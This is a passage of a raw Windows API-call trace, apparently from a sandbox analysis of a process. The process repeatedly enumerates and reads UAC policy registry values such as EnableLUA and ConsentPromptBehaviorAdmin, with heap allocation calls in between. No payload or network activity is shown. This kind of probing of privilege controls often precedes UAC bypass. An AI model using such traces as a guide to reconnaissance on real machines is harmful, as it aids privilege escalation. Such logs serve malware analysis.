(HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb940 [0023.828] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc318 [0023.828] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb950 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc360 [0023.829] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb9d0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc3a8 [0023.829] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb9e0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc3f0 [0023.829] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc438 [0023.829] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb998) returned 1 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb998 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc480 [0023.829] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb9a8 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc4c8 [0023.829] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb9b8 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc510 [0023.829] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb9f0 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc558 [0023.829] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.829] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc5a0) returned 1 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.829] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc5a0) returned 1 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.829] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc5a0) returned 1 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.829] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc5a0) returned 1 [0023.829] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.829] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb878) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb888) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc168) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb898) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1b0) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb930) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1f8) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb860) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb968) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb978) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc2d0) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb988) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc318) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb940) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc360) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb950) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc3a8) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb9d0) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc3f0) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb9e0) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc480) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb998) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc4c8) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb9a8) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc510) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb9b8) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc558) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb9f0) returned 1 [0023.830] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc438) returned 1 [0023.830] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc438 [0023.830] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18f78c, lpData=0x0, lpcbData=0x18f794*=0x0 | out: lpType=0x18f78c*=0x4, lpData=0x0, lpcbData=0x18f794*=0x4) returned 0x0 [0023.830] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18f78c, lpData=0xddc438, lpcbData=0x18f794*=0x4 | out: lpType=0x18f78c*=0x4, lpData=0xddc438*=0x1, lpcbData=0x18f794*=0x4) returned 0x0 [0023.831] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc438) returned 1 [0023.831] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc5a0) returned 1 [0023.831] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddb860 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb878 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.831] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb888 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc438 [0023.831] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb898 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc558 [0023.831] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb930 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc510 [0023.831] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x20) returned 0xddb940 [0023.831] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb860) returned 1 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb860 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc4c8 [0023.831] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb968 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc480 [0023.831] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb978 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc3f0 [0023.831] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb988 [0023.831] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc3a8 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x30) returned 0xddb998 [0023.832] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb940) returned 1 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb940 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc360 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb950 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc318 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb9d0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc2d0 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb9e0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0023.832] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb998) returned 1 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb998 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddb9a8 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1b0 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd1e8 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc168 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd1f8 [0023.832] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.832] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc5a0) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb878) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc438) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb888) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc558) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb898) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc510) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb930) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc4c8) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb860) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc480) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb968) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc3f0) returned 1 [0023.833] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb978) returned 1 [0023.833] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18f78c, lpData=0x0, lpcbData=0x18f794*=0x0 | out: lpType=0x18f78c*=0x4, lpData=0x0, lpcbData=0x18f794*=0x4) returned 0x0 [0023.833] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18f78c, lpData=0xddc240, lpcbData=0x18f794*=0x4 | out: lpType=0x18f78c*=0x4, lpData=0xddc240*=0x5, lpcbData=0x18f794*=0x4) returned 0x0 [0023.833] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd5e8 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd1f8 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.833] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd1e8 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0023.833] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd208 [0023.833] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.833] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd218 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc168 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x20) returned 0xddb860 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd238 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd248 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd258 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc2d0 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x30) returned 0xddb930 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd278 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc360 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd288 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc3a8 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd298 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc3f0 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.834] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc480 [0023.834] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, 